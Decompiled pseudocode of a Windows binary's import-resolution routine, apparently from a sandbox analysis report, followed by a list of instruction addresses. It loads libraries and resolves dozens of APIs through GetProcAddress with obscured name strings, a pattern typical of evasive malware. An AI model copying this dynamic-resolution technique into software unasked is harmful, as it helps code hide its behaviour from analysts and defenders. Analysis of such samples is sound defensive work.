				struct HINSTANCE__* _t237;
				CHAR* _t238;
				struct HINSTANCE__* _t239;
				CHAR* _t240;
				struct HINSTANCE__* _t241;
				CHAR* _t242;
				CHAR* _t243;
				struct HINSTANCE__* _t244;
				CHAR* _t245;
				struct HINSTANCE__* _t246;
				CHAR* _t247;
				struct HINSTANCE__* _t248;
				CHAR* _t249;
				struct HINSTANCE__* _t250;
				CHAR* _t251;
				struct HINSTANCE__* _t252;
				CHAR* _t253;
				struct HINSTANCE__* _t254;
				CHAR* _t255;
				struct HINSTANCE__* _t256;
				struct HINSTANCE__* _t257;
				CHAR* _t258;
				struct HINSTANCE__* _t259;
				CHAR* _t260;
				struct HINSTANCE__* _t261;
				CHAR* _t262;
				struct HINSTANCE__* _t263;
				CHAR* _t264;
				CHAR* _t265;
				struct HINSTANCE__* _t266;
				CHAR* _t267;
				struct HINSTANCE__* _t268;
				CHAR* _t269;
				struct HINSTANCE__* _t270;
				struct HINSTANCE__* _t271;
				struct HINSTANCE__* _t272;
				struct HINSTANCE__* _t273;
				CHAR* _t274;
				struct HINSTANCE__* _t275;
				CHAR* _t276;
				struct HINSTANCE__* _t277;
				CHAR* _t278;
				struct HINSTANCE__* _t279;
				CHAR* _t280;
				struct HINSTANCE__* _t281;
				CHAR* _t282;
				struct HINSTANCE__* _t283;
				CHAR* _t284;
				struct HINSTANCE__* _t285;
				CHAR* _t286;
				struct HINSTANCE__* _t287;
				CHAR* _t288;
				struct HINSTANCE__* _t289;
				CHAR* _t290;
				struct HINSTANCE__* _t291;
				CHAR* _t292;
				struct HINSTANCE__* _t293;
				CHAR* _t294;
				struct HINSTANCE__* _t295;
				CHAR* _t296;
				struct HINSTANCE__* _t297;
				CHAR* _t298;
				struct HINSTANCE__* _t299;
				CHAR* _t300;
				struct HINSTANCE__* _t301;
				CHAR* _t302;
				struct HINSTANCE__* _t303;
				CHAR* _t304;
				struct HINSTANCE__* _t305;
				CHAR* _t306;
				struct HINSTANCE__* _t307;
				struct HINSTANCE__* _t308;
				CHAR* _t309;
				CHAR* _t310;
				CHAR* _t311;
				CHAR* _t312;
				CHAR* _t313;
				CHAR* _t314;
				struct HINSTANCE__* _t315;
				struct HINSTANCE__* _t316;
				CHAR* _t317;
				struct HINSTANCE__* _t318;
				CHAR* _t319;
				struct HINSTANCE__* _t320;
				CHAR* _t321;
				CHAR* _t322;
				struct HINSTANCE__* _t323;
				CHAR* _t324;
				struct HINSTANCE__* _t325;
				CHAR* _t326;
				struct HINSTANCE__* _t327;
				CHAR* _t328;
				struct HINSTANCE__* _t329;
				CHAR* _t330;
				struct HINSTANCE__* _t331;
				struct HINSTANCE__* _t332;
				CHAR* _t333;
				CHAR* _t334;
				struct HINSTANCE__* _t335;
				CHAR* _t336;
				struct HINSTANCE__* _t337;
				CHAR* _t338;
				struct HINSTANCE__* _t339;
				CHAR* _t340;
				struct HINSTANCE__* _t341;
				CHAR* _t342;
				struct HINSTANCE__* _t343;
				CHAR* _t344;
				struct HINSTANCE__* _t345;
				CHAR* _t346;
				CHAR* _t347;
				struct HINSTANCE__* _t348;
				CHAR* _t349;
				struct HINSTANCE__* _t350;
				CHAR* _t351;
				struct HINSTANCE__* _t352;
				CHAR* _t353;
				struct HINSTANCE__* _t354;
				struct HINSTANCE__* _t355;
				CHAR* _t356;
				struct HINSTANCE__* _t357;
				CHAR* _t358;
				struct HINSTANCE__* _t359;
				CHAR* _t360;
				struct HINSTANCE__* _t361;
				CHAR* _t362;
				struct HINSTANCE__* _t363;
				CHAR* _t364;
				struct HINSTANCE__* _t365;
				CHAR* _t366;
				struct HINSTANCE__* _t367;
				CHAR* _t368;
				struct HINSTANCE__* _t369;
				CHAR* _t370;
				struct HINSTANCE__* _t371;
				CHAR* _t372;
				struct HINSTANCE__* _t373;
				CHAR* _t374;
				struct HINSTANCE__* _t375;
				CHAR* _t376;
				struct HINSTANCE__* _t377;
				CHAR* _t378;
				struct HINSTANCE__* _t379;
				CHAR* _t380;
				struct HINSTANCE__* _t381;
				CHAR* _t382;
				struct HINSTANCE__* _t383;
				CHAR* _t384;
				struct HINSTANCE__* _t385;
				CHAR* _t386;
				struct HINSTANCE__* _t387;
				CHAR* _t388;
				struct HINSTANCE__* _t389;
				CHAR* _t390;
				struct HINSTANCE__* _t391;
				CHAR* _t392;
				struct HINSTANCE__* _t393;
				CHAR* _t394;
				struct HINSTANCE__* _t395;
				struct HINSTANCE__* _t396;

				if( *0x41aa64 != 0) {
					_t128 =  *0x41a0b4; // 0x787770
					_t273 =  *0x41aa64; // 0x74df0000
					 *0x41a9b4 = GetProcAddress(_t273, _t128);
					_t362 =  *0x41a728; // 0x787680
					_t130 =  *0x41aa64; // 0x74df0000
					 *0x41aa24 = GetProcAddress(_t130, _t362);
					_t274 =  *0x41a2bc; // 0x785200
					_t363 =  *0x41aa64; // 0x74df0000
					 *0x41a9bc = GetProcAddress(_t363, _t274);
					_t133 =  *0x41a668; // 0x7877a0
					_t275 =  *0x41aa64; // 0x74df0000
					 *0x41a8b0 = GetProcAddress(_t275, _t133);
					_t364 =  *0x41a5d8; // 0x7876b0
					_t135 =  *0x41aa64; // 0x74df0000
					 *0x41a910 = GetProcAddress(_t135, _t364);
					_t276 =  *0x41a26c; // 0x787518
					_t365 =  *0x41aa64; // 0x74df0000
					 *0x41a8b8 = GetProcAddress(_t365, _t276);
					_t138 =  *0x41a64c; // 0x787548
					_t277 =  *0x41aa64; // 0x74df0000
					 *0x41aa90 = GetProcAddress(_t277, _t138);
					_t366 =  *0x41a4b8; // 0x787740
					_t140 =  *0x41aa64; // 0x74df0000
					 *0x41a908 = GetProcAddress(_t140, _t366);
					_t278 =  *0x41a2b4; // 0x787758
					_t367 =  *0x41aa64; // 0x74df0000
					 *0x41aa70 = GetProcAddress(_t367, _t278);
					_t143 =  *0x41a7bc; // 0x787788
					_t279 =  *0x41aa64; // 0x74df0000
					 *0x41a9d8 = GetProcAddress(_t279, _t143);
					_t368 =  *0x41a49c; // 0x7877b8
					_t145 =  *0x41aa64; // 0x74df0000
					 *0x41aa10 = GetProcAddress(_t145, _t368);
					_t280 =  *0x41a4fc; // 0x787590
					_t369 =  *0x41aa64; // 0x74df0000
					 *0x41a8cc = GetProcAddress(_t369, _t280);
					_t148 =  *0x41a3a8; // 0x7877d0
					_t281 =  *0x41aa64; // 0x74df0000
					 *0x41aa9c = GetProcAddress(_t281, _t148);
					_t370 =  *0x41a1c0; // 0x785220
					_t150 =  *0x41aa64; // 0x74df0000
					 *0x41a998 = GetProcAddress(_t150, _t370);
					_t282 =  *0x41a1f8; // 0x7878a8
					_t371 =  *0x41aa64; // 0x74df0000
					 *0x41a9a0 = GetProcAddress(_t371, _t282);
					_t153 =  *0x41a7ac; // 0x785240
					_t283 =  *0x41aa64; // 0x74df0000
					 *0x41aaac = GetProcAddress(_t283, _t153);
					_t372 =  *0x41a5f8; // 0x787120
					_t155 =  *0x41aa64; // 0x74df0000
					 *0x41a904 = GetProcAddress(_t155, _t372);
					_t284 =  *0x41a0dc; // 0x7877e8
					_t373 =  *0x41aa64; // 0x74df0000
					 *0x41aac4 = GetProcAddress(_t373, _t284);
					_t158 =  *0x41a30c; // 0x785260
					_t285 =  *0x41aa64; // 0x74df0000
					 *0x41a86c = GetProcAddress(_t285, _t158);
					_t374 =  *0x41a664; // 0x787890
					_t160 =  *0x41aa64; // 0x74df0000
					 *0x41a8fc = GetProcAddress(_t160, _t374);
					_t286 =  *0x41a04c; // 0x785280
					_t375 =  *0x41aa64; // 0x74df0000
					 *0x41aad0 = GetProcAddress(_t375, _t286);
					_t163 =  *0x41a0f0; // 0x787800
					_t287 =  *0x41aa64; // 0x74df0000
					 *0x41aa44 = GetProcAddress(_t287, _t163);
					_t376 =  *0x41a134; // 0x787860
					_t165 =  *0x41aa64; // 0x74df0000
					 *0x41a974 = GetProcAddress(_t165, _t376);
					_t288 =  *0x41a460; // 0x787878
					_t377 =  *0x41aa64; // 0x74df0000
					 *0x41a8e4 = GetProcAddress(_t377, _t288);
					_t168 =  *0x41a554; // 0x787818
					_t289 =  *0x41aa64; // 0x74df0000
					 *0x41a868 = GetProcAddress(_t289, _t168);
					_t378 =  *0x41a190; // 0x784dc0
					_t170 =  *0x41aa64; // 0x74df0000
					 *0x41a96c = GetProcAddress(_t170, _t378);
					_t290 =  *0x41a52c; // 0x787830
					_t379 =  *0x41aa64; // 0x74df0000
					 *0x41aad8 = GetProcAddress(_t379, _t290);
					_t173 =  *0x41a5d0; // 0x787848
					_t291 =  *0x41aa64; // 0x74df0000
					 *0x41a930 = GetProcAddress(_t291, _t173);
					_t380 =  *0x41a268; // 0x787dd0
					_t175 =  *0x41aa64; // 0x74df0000
					 *0x41a8a8 = GetProcAddress(_t175, _t380);
					_t292 =  *0x41a3f8; // 0x784de0
					_t381 =  *0x41aa64; // 0x74df0000
					 *0x41a894 = GetProcAddress(_t381, _t292);
					_t178 =  *0x41a3a4; // 0x787c80
					_t293 =  *0x41aa64; // 0x74df0000
					 *0x41a8c4 = GetProcAddress(_t293, _t178);
					_t382 =  *0x41a048; // 0x787cc8
					_t180 =  *0x41aa64; // 0x74df0000
					 *0x41a914 = GetProcAddress(_t180, _t382);
					_t294 =  *0x41a6b0; // 0x787c68
					_t383 =  *0x41aa64; // 0x74df0000
					 *0x41a8b4 = GetProcAddress(_t383, _t294);
					_t183 =  *0x41a458; // 0x787de8
					_t295 =  *0x41aa64; // 0x74df0000
					 *0x41a9dc = GetProcAddress(_t295, _t183);
					_t384 =  *0x41a364; // 0x787ce0
					_t185 =  *0x41aa64; // 0x74df0000
					 *0x41aad4 = GetProcAddress(_t185, _t384);
					_t296 =  *0x41a550; // 0x784fc0
					_t385 =  *0x41aa64; // 0x74df0000
					 *0x41a8a4 = GetProcAddress(_t385, _t296);
					_t188 =  *0x41a13c; // 0x784e80
					_t297 =  *0x41aa64; // 0x74df0000
					 *0x41a8a0 = GetProcAddress(_t297, _t188);
					_t386 =  *0x41a428; // 0x787e48
					_t190 =  *0x41aa64; // 0x74df0000
					 *0x41aa20 = GetProcAddress(_t190, _t386);
					_t298 =  *0x41a420; // 0x787e00
					_t387 =  *0x41aa64; // 0x74df0000
					 *0x41a9d4 = GetProcAddress(_t387, _t298);
					_t193 =  *0x41a02c; // 0x784ea0
					_t299 =  *0x41aa64; // 0x74df0000
					 *0x41aab0 = GetProcAddress(_t299, _t193);
					_t388 =  *0x41a184; // 0x786ef0
					_t195 =  *0x41aa64; // 0x74df0000
					 *0x41a9a4 = GetProcAddress(_t195, _t388);
					_t300 =  *0x41a118; // 0x787c20
					_t389 =  *0x41aa64; // 0x74df0000
					 *0x41a8c8 = GetProcAddress(_t389, _t300);
					_t198 =  *0x41a1a4; // 0x787d70
					_t301 =  *0x41aa64; // 0x74df0000
					 *0x41a860 = GetProcAddress(_t301, _t198);
					_t390 =  *0x41a400; // 0x784d80
					_t200 =  *0x41aa64; // 0x74df0000
					 *0x41a9b0 = GetProcAddress(_t200, _t390);
					_t302 =  *0x41a654; // 0x784ca0
					_t391 =  *0x41aa64; // 0x74df0000
					 *0x41a8f4 = GetProcAddress(_t391, _t302);
					_t203 =  *0x41a3dc; // 0x784e00
					_t303 =  *0x41aa64; // 0x74df0000
					 *0x41a850 = GetProcAddress(_t303, _t203);
					_t392 =  *0x41a2dc; // 0x787e18
					_t205 =  *0x41aa64; // 0x74df0000
					 *0x41a858 = GetProcAddress(_t205, _t392);
					_t304 =  *0x41a5f4; // 0x784ec0
					_t393 =  *0x41aa64; // 0x74df0000
					 *0x41a92c = GetProcAddress(_t393, _t304);
					_t208 =  *0x41a780; // 0x787ed8
					_t305 =  *0x41aa64; // 0x74df0000
					 *0x41a978 = GetProcAddress(_t305, _t208);
					_t394 =  *0x41a0d8; // 0x784f00
					_t210 =  *0x41aa64; // 0x74df0000
					 *0x41aa1c = GetProcAddress(_t210, _t394);
					_t306 =  *0x41a6ac; // 0x784da0
					_t395 =  *0x41aa64; // 0x74df0000
					 *0x41a890 = GetProcAddress(_t395, _t306);
					_t213 =  *0x41aa64; // 0x74df0000
					 *0x41aa58 = GetProcAddress(_t213, "CreateThread");
					_t307 =  *0x41aa64; // 0x74df0000
					 *0x41a8e8 = GetProcAddress(_t307, "GetEnvironmentVariableA");
					_t396 =  *0x41aa64; // 0x74df0000
					 *0x41a8ac = GetProcAddress(_t396, "SetEnvironmentVariableA");
					_t217 =  *0x41aa64; // 0x74df0000
					 *0x41aac8 = GetProcAddress(_t217, "lstrcpyA");
					_t308 =  *0x41aa64; // 0x74df0000
					 *0x41a994 = GetProcAddress(_t308, "lstrcpynA");
				}
				_t309 =  *0x41a03c; // 0x787638
				 *0x41a964 = LoadLibraryA(_t309);
				_t2 =  *0x41a1e4; // 0x787710
				_t3 = LoadLibraryA(_t2); // executed
				 *0x41a8d8 = _t3;
				_t220 =  *0x41a5fc; // 0x7875a8
				_t4 = LoadLibraryA(_t220); // executed
				 *0x41aaa8 = _t4;
				_t310 =  *0x41a2c0; // 0x787578
				 *0x41a988 = LoadLibraryA(_t310);
				_t6 =  *0x41a240; // 0x7875c0
				_t7 = LoadLibraryA(_t6); // executed
				 *0x41aa40 = _t7;
				_t221 =  *0x41a77c; // 0x787500
				_t8 = LoadLibraryA(_t221); // executed
				 *0x41a94c = _t8;
				_t311 =  *0x41a1e0; // 0x7875f0
				_t9 = LoadLibraryA(_t311); // executed
				 *0x41aa34 = _t9;
				_t10 =  *0x41a568; // 0x787728
				_t11 = LoadLibraryA(_t10); // executed
				 *0x41aa80 = _t11;
				_t222 =  *0x41a0a4; // 0x787530
				_t12 = LoadLibraryA(_t222); // executed
				 *0x41a968 = _t12;
				_t312 =  *0x41a5a0; // 0x787608
				_t13 = LoadLibraryA(_t312); // executed
				 *0x41aa98 = _t13;
				_t14 =  *0x41a688; // 0x787650
				_t15 = LoadLibraryA(_t14); // executed
				 *0x41a938 = _t15;
				_t223 =  *0x41a228; // 0x7876c8
				_t16 = LoadLibraryA(_t223); // executed
				 *0x41a97c = _t16;
				_t313 =  *0x41a58c; // 0x787698
				_t17 = LoadLibraryA(_t313); // executed
				 *0x41aa88 = _t17;
				if( *0x41a964 != 0) {
					_t124 =  *0x41a4a0; // 0x787458
					_t272 =  *0x41a964; // 0x775e0000
					 *0x41aa54 = GetProcAddress(_t272, _t124);
					_t361 =  *0x41a964; // 0x775e0000
					 *0x41a85c = GetProcAddress(_t361, "memset");
					_t127 =  *0x41a964; // 0x775e0000
					_t17 = GetProcAddress(_t127, "memcpy");
					 *0x41aab8 = _t17;
				}
				if( *0x41a8d8 != 0) {
					_t265 =  *0x41a490; // 0x787e30
					_t355 =  *0x41a8d8; // 0x6fe60000
					 *0x41a954 = GetProcAddress(_t355, _t265);
					_t110 =  *0x41a25c; // 0x784e40
					_t266 =  *0x41a8d8; // 0x6fe60000
					 *0x41aa74 = GetProcAddress(_t266, _t110);
					_t356 =  *0x41a530; // 0x784e20
					_t112 =  *0x41a8d8; // 0x6fe60000
					 *0x41aabc = GetProcAddress(_t112, _t356);
					_t267 =  *0x41a560; // 0x784fa0
					_t357 =  *0x41a8d8; // 0x6fe60000
					 *0x41aa3c = GetProcAddress(_t357, _t267);
					_t115 =  *0x41a3d4; // 0x787e90
					_t268 =  *0x41a8d8; // 0x6fe60000
					 *0x41aacc = GetProcAddress(_t268, _t115);
					_t358 =  *0x41a23c; // 0x784f60
					_t117 =  *0x41a8d8; // 0x6fe60000
					 *0x41a950 = GetProcAddress(_t117, _t358);
					_t269 =  *0x41a564; // 0x784e60
					_t359 =  *0x41a8d8; // 0x6fe60000
					 *0x41a980 = GetProcAddress(_t359, _t269);
					_t120 =  *0x41a45c; // 0x784ee0
					_t270 =  *0x41a8d8; // 0x6fe60000
					 *0x41a84c = GetProcAddress(_t270, _t120);
					_t360 =  *0x41a278; // 0x784f20
					_t122 =  *0x41a8d8; // 0x6fe60000
					 *0x41a958 = GetProcAddress(_t122, _t360);
					_t271 =  *0x41a8d8; // 0x6fe60000
					_t17 = GetProcAddress(_t271, "InternetCrackUrlA");
					 *0x41a8ec = _t17;
				}
				if( *0x41aaa8 != 0) {
					_t347 =  *0x41a318; // 0x787e60
					_t92 =  *0x41aaa8; // 0x768f0000
					 *0x41a874 = GetProcAddress(_t92, _t347);
					_t258 =  *0x41a63c; // 0x787cb0
					_t348 =  *0x41aaa8; // 0x768f0000
					 *0x41a9ac = GetProcAddress(_t348, _t258);
					_t95 =  *0x41a608; // 0x784f40
					_t259 =  *0x41aaa8; // 0x768f0000
					 *0x41a9ec = GetProcAddress(_t259, _t95);
					_t349 =  *0x41a528; // 0x784f80
					_t97 =  *0x41aaa8; // 0x768f0000
					 *0x41a9fc = GetProcAddress(_t97, _t349);
					_t260 =  *0x41a3ec; // 0x787e78
					_t350 =  *0x41aaa8; // 0x768f0000
					 *0x41aa28 = GetProcAddress(_t350, _t260);
					_t100 =  *0x41a648; // 0x787348
					_t261 =  *0x41aaa8; // 0x768f0000
					 *0x41aaa4 = GetProcAddress(_t261, _t100);
					_t351 =  *0x41a298; // 0x784fe0
					_t102 =  *0x41aaa8; // 0x768f0000
					 *0x41aab4 = GetProcAddress(_t102, _t351);
					_t262 =  *0x41a618; // 0x785000
					_t352 =  *0x41aaa8; // 0x768f0000
					 *0x41a878 = GetProcAddress(_t352, _t262);
					_t105 =  *0x41a384; // 0x787ea8
					_t263 =  *0x41aaa8; // 0x768f0000
					 *0x41aac0 = GetProcAddress(_t263, _t105);
					_t353 =  *0x41a4ec; // 0x787c98
					_t107 =  *0x41aaa8; // 0x768f0000
					 *0x41aa5c = GetProcAddress(_t107, _t353);
					_t264 =  *0x41a38c; // 0x787d40
					_t354 =  *0x41aaa8; // 0x768f0000
					_t17 = GetProcAddress(_t354, _t264);
					 *0x41aa94 = _t17;
				}
				if( *0x41a854 != 0) {
					_t83 =  *0x41a6c8; // 0x787bf0
					_t254 =  *0x41a854; // 0x74b40000
					 *0x41a940 = GetProcAddress(_t254, _t83);
					_t344 =  *0x41a53c; // 0x785020
					_t85 =  *0x41a854; // 0x74b40000
					 *0x41a920 = GetProcAddress(_t85, _t344);
					_t255 =  *0x41a180; // 0x787d10
					_t345 =  *0x41a854; // 0x74b40000
					 *0x41a9c4 = GetProcAddress(_t345, _t255);
					_t88 =  *0x41a724; // 0x784c40
					_t256 =  *0x41a854; // 0x74b40000
					 *0x41a870 = GetProcAddress(_t256, _t88);
					_t346 =  *0x41a1fc; // 0x787ec0
					_t90 =  *0x41a854; // 0x74b40000
					 *0x41aa6c = GetProcAddress(_t90, _t346);
					_t257 =  *0x41a854; // 0x74b40000
					_t17 = GetProcAddress(_t257, "RegGetValueA");
					 *0x41a8f8 = _t17;
				}
				if( *0x41a988 != 0) {
					_t334 =  *0x41a4c4; // 0x787cf8
					_t61 =  *0x41a988; // 0x76b90000
					 *0x41a9d0 = GetProcAddress(_t61, _t334);
					_t245 =  *0x41a198; // 0x787d28
					_t335 =  *0x41a988; // 0x76b90000
					 *0x41a960 = GetProcAddress(_t335, _t245);
					_t64 =  *0x41a7a8; // 0x784c60
					_t246 =  *0x41a988; // 0x76b90000
					 *0x41a948 = GetProcAddress(_t246, _t64);
					_t336 =  *0x41a274; // 0x784d60
					_t66 =  *0x41a988; // 0x76b90000
					 *0x41a8bc = GetProcAddress(_t66, _t336);
					_t247 =  *0x41a624; // 0x787d58
					_t337 =  *0x41a988; // 0x76b90000
					 *0x41a898 = GetProcAddress(_t337, _t247);
					_t69 =  *0x41a2b8; // 0x7872f8
					_t248 =  *0x41a988; // 0x76b90000
					 *0x41a880 = GetProcAddress(_t248, _t69);
					_t338 =  *0x41a5f0; // 0x787d88
					_t71 =  *0x41a988; // 0x76b90000
					 *0x41aa38 = GetProcAddress(_t71, _t338);
					_t249 =  *0x41a19c; // 0x787c08
					_t339 =  *0x41a988; // 0x76b90000
					 *0x41a93c = GetProcAddress(_t339, _t249);
					_t74 =  *0x41a73c; // 0x787da0
					_t250 =  *0x41a988; // 0x76b90000
					 *0x41a9f0 = GetProcAddress(_t250, _t74);
					_t340 =  *0x41a254; // 0x787db8
					_t76 =  *0x41a988; // 0x76b90000
					 *0x41a918 = GetProcAddress(_t76, _t340);
					_t251 =  *0x41a404; // 0x787468
					_t341 =  *0x41a988; // 0x76b90000
					 *0x41a87c = GetProcAddress(_t341, _t251);
					_t79 =  *0x41a17c; // 0x784d20
					_t252 =  *0x41a988; // 0x76b90000
					 *0x41a9a8 = GetProcAddress(_t252, _t79);
					_t342 =  *0x41a154; // 0x787c38
					_t81 =  *0x41a988; // 0x76b90000
					 *0x41a8d4 = GetProcAddress(_t81, _t342);
					_t253 =  *0x41a778; // 0x787c50
					_t343 =  *0x41a988; // 0x76b90000
					_t17 = GetProcAddress(_t343, _t253);
					 *0x41a9f8 = _t17;
				}
				if( *0x41aa40 != 0) {
					_t60 =  *0x41a120; // 0x786040
					_t244 =  *0x41aa40; // 0x6f160000
					_t17 = GetProcAddress(_t244, _t60); // executed
					 *0x41a864 = _t17;
				}
				if( *0x41a94c != 0) {
					_t333 =  *0x41a3a0; // 0x784c80
					_t59 =  *0x41a94c; // 0x768e0000
					_t17 = GetProcAddress(_t59, _t333);
					 *0x41aa48 = _t17;
				}
				if( *0x41a934 != 0) {
					_t243 =  *0x41a354; // 0x784cc0
					_t332 =  *0x41a934; // 0x749a0000
					_t17 = GetProcAddress(_t332, _t243);
					 *0x41a91c = _t17;
				}
				if( *0x41aa34 != 0) {
					_t50 =  *0x41a108; // 0x787170
					_t239 =  *0x41aa34; // 0x73da0000
					 *0x41a95c = GetProcAddress(_t239, _t50);
					_t328 =  *0x41a710; // 0x784ce0
					_t52 =  *0x41aa34; // 0x73da0000
					 *0x41aa18 = GetProcAddress(_t52, _t328);
					_t240 =  *0x41a510; // 0x786f40
					_t329 =  *0x41aa34; // 0x73da0000
					 *0x41a900 = GetProcAddress(_t329, _t240);
					_t55 =  *0x41a35c; // 0x784d00
					_t241 =  *0x41aa34; // 0x73da0000
					 *0x41a8e0 = GetProcAddress(_t241, _t55);
					_t330 =  *0x41a524; // 0x786f90
					_t57 =  *0x41aa34; // 0x73da0000
					 *0x41a8c0 = GetProcAddress(_t57, _t330);
					_t242 =  *0x41a0a0; // 0x788070
					_t331 =  *0x41aa34; // 0x73da0000
					_t17 = GetProcAddress(_t331, _t242);
					 *0x41aa60 = _t17;
				}
				if( *0x41aa80 != 0) {
					_t41 =  *0x41a2fc; // 0x788058
					_t235 =  *0x41aa80; // 0x6e4f0000
					 *0x41a9c8 = GetProcAddress(_t235, _t41);
					_t324 =  *0x41a508; // 0x787f08
					_t43 =  *0x41aa80; // 0x6e4f0000
					 *0x41a924 = GetProcAddress(_t43, _t324);
					_t236 =  *0x41a540; // 0x784d40
					_t325 =  *0x41aa80; // 0x6e4f0000
					 *0x41aa30 = GetProcAddress(_t325, _t236);
					_t46 =  *0x41a214; // 0x76aaa8
					_t237 =  *0x41aa80; // 0x6e4f0000
					 *0x41a888 = GetProcAddress(_t237, _t46);
					_t326 =  *0x41a794; // 0x7880f8
					_t48 =  *0x41aa80; // 0x6e4f0000
					 *0x41a99c = GetProcAddress(_t48, _t326);
					_t238 =  *0x41a7d0; // 0x787ef0
					_t327 =  *0x41aa80; // 0x6e4f0000
					_t17 = GetProcAddress(_t327, _t238);
					 *0x41aa08 = _t17;
				}
				if( *0x41a968 != 0) {
					_t37 =  *0x41a178; // 0x787f20
					_t233 =  *0x41a968; // 0x76720000
					 *0x41aa4c = GetProcAddress(_t233, _t37);
					_t322 =  *0x41a69c; // 0x787488
					_t39 =  *0x41a968; // 0x76720000
					 *0x41a89c = GetProcAddress(_t39, _t322);
					_t234 =  *0x41a0e4; // 0x787f38
					_t323 =  *0x41a968; // 0x76720000
					_t17 = GetProcAddress(_t323, _t234);
					 *0x41a90c = _t17;
				}
				if( *0x41aa98 != 0) {
					_t34 =  *0x41a270; // 0x788138
					_t232 =  *0x41aa98; // 0x75390000
					 *0x41aa00 = GetProcAddress(_t232, _t34);
					_t321 =  *0x41a378; // 0x787fe0
					_t36 =  *0x41aa98; // 0x75390000
					_t17 = GetProcAddress(_t36, _t321);
					 *0x41aa84 = _t17;
				}
				if( *0x41a938 != 0) {
					_t226 =  *0x41a3cc; // 0x7870f8
					_t316 =  *0x41a938; // 0x73660000
					 *0x41a8dc = GetProcAddress(_t316, _t226);
					_t23 =  *0x41a2a0; // 0x788498
					_t227 =  *0x41a938; // 0x73660000
					 *0x41a928 = GetProcAddress(_t227, _t23);
					_t317 =  *0x41a308; // 0x786fb8
					_t25 =  *0x41a938; // 0x73660000
					 *0x41a9e8 = GetProcAddress(_t25, _t317);
					_t228 =  *0x41a150; // 0x788088
					_t318 =  *0x41a938; // 0x73660000
					 *0x41aa2c = GetProcAddress(_t318, _t228);
					_t28 =  *0x41a4f4; // 0x788040
					_t229 =  *0x41a938; // 0x73660000
					 *0x41aa0c = GetProcAddress(_t229, _t28);
					_t319 =  *0x41a7c8; // 0x788158
					_t30 =  *0x41a938; // 0x73660000
					 *0x41a9b8 = GetProcAddress(_t30, _t319);
					_t230 =  *0x41a380; // 0x7882d8
					_t320 =  *0x41a938; // 0x73660000
					 *0x41a8f0 = GetProcAddress(_t320, _t230);
					_t33 =  *0x41a7b8; // 0x787f80
					_t231 =  *0x41a938; // 0x73660000
					_t17 = GetProcAddress(_t231, _t33);
					 *0x41aa7c = _t17;
				}
				if( *0x41a97c != 0) {
					_t314 =  *0x41a174; // 0x7884b8
					_t20 =  *0x41a97c; // 0x747d0000
					 *0x41a98c = GetProcAddress(_t20, _t314);
					_t225 =  *0x41a3d8; // 0x788178
					_t315 =  *0x41a97c; // 0x747d0000
					_t17 = GetProcAddress(_t315, _t225);
					 *0x41a884 = _t17;
				}
				if( *0x41aa88 != 0) {
					_t18 =  *0x41a448; // 0x787ff8
					_t224 =  *0x41aa88; // 0x6eb20000
					_t19 = GetProcAddress(_t224, _t18);
					 *0x41a990 = _t19;
					return _t19;
				}
				return _t17;
			}

0x0040c4aa
0x0040c4b0
0x0040c4b6
0x0040c4c3
0x0040c4c8
0x0040c4cf
0x0040c4db
0x0040c4e0
0x0040c4e7
0x0040c4f4
0x0040c4f9
0x0040c4ff
0x0040c50c
0x0040c511
0x0040c518
0x0040c524
0x0040c529
0x0040c530
0x0040c53d
0x0040c542
0x0040c548
0x0040c555
0x0040c55a
0x0040c561
0x0040c56d
0x0040c572
0x0040c579
0x0040c586
0x0040c58b
0x0040c591
0x0040c59e
0x0040c5a3
0x0040c5aa
0x0040c5b6
0x0040c5bb
0x0040c5c2
0x0040c5cf
0x0040c5d4
0x0040c5da
0x0040c5e7
0x0040c5ec
0x0040c5f3
0x0040c5ff
0x0040c604
0x0040c60b
0x0040c618
0x0040c61d
0x0040c623
0x0040c630
0x0040c635
0x0040c63c
0x0040c648
0x0040c64d
0x0040c654
0x0040c661
0x0040c666
0x0040c66c
0x0040c679
0x0040c67e
0x0040c685
0x0040c691
0x0040c696
0x0040c69d
0x0040c6aa
0x0040c6af
0x0040c6b5
0x0040c6c2
0x0040c6c7
0x0040c6ce
0x0040c6da
0x0040c6df
0x0040c6e6
0x0040c6f3
0x0040c6f8
0x0040c6fe
0x0040c70b
0x0040c710
0x0040c717
0x0040c723
0x0040c728
0x0040c72f
0x0040c73c
0x0040c741
0x0040c747
0x0040c754
0x0040c759
0x0040c760
0x0040c76c
0x0040c771
0x0040c778
0x0040c785
0x0040c78a
0x0040c790
0x0040c79d
0x0040c7a2
0x0040c7a9
0x0040c7b5
0x0040c7ba
0x0040c7c1
0x0040c7ce
0x0040c7d3
0x0040c7d9
0x0040c7e6
0x0040c7eb
0x0040c7f2
0x0040c7fe
0x0040c803
0x0040c80a
0x0040c817
0x0040c81c
0x0040c822
0x0040c82f
0x0040c834
0x0040c83b
0x0040c847
0x0040c84c
0x0040c853
0x0040c860
0x0040c865
0x0040c86b
0x0040c878
0x0040c87d
0x0040c884
0x0040c890
0x0040c895
0x0040c89c
0x0040c8a9
0x0040c8ae
0x0040c8b4
0x0040c8c1
0x0040c8c6
0x0040c8cd
0x0040c8d9
0x0040c8de
0x0040c8e5
0x0040c8f2
0x0040c8f7
0x0040c8fd
0x0040c90a
0x0040c90f
0x0040c916
0x0040c922
0x0040c927
0x0040c92e
0x0040c93b
0x0040c940
0x0040c946
0x0040c953
0x0040c958
0x0040c95f
0x0040c96b
0x0040c970
0x0040c977
0x0040c984
0x0040c98e
0x0040c99a
0x0040c9a4
0x0040c9b1
0x0040c9bb
0x0040c9c8
0x0040c9d2
0x0040c9de
0x0040c9e8
0x0040c9f5
0x0040c9f5
0x0040c9fa
0x0040ca07
0x0040ca0c
0x0040ca12
0x0040ca18
0x0040ca1d
0x0040ca24
0x0040ca2a
0x0040ca2f
0x0040ca3c
0x0040ca41
0x0040ca47
0x0040ca4d
0x0040ca52
0x0040ca59
0x0040ca5f
0x0040ca64
0x0040ca6b
0x0040ca71
0x0040ca76
0x0040ca7c
0x0040ca82
0x0040ca87
0x0040ca8e
0x0040ca94
0x0040ca99
0x0040caa0
0x0040caa6
0x0040caab
0x0040cab1
0x0040cab7
0x0040cabc
0x0040cac3
0x0040cac9
0x0040cace
0x0040cad5
0x0040cadb
0x0040cae7
0x0040cae9
0x0040caef
0x0040cafc
0x0040cb06
0x0040cb13
0x0040cb1d
0x0040cb23
0x0040cb29
0x0040cb29
0x0040cb35
0x0040cb3b
0x0040cb42
0x0040cb4f
0x0040cb54
0x0040cb5a
0x0040cb67
0x0040cb6c
0x0040cb73
0x0040cb7f
0x0040cb84
0x0040cb8b
0x0040cb98
0x0040cb9d
0x0040cba3
0x0040cbb0
0x0040cbb5
0x0040cbbc
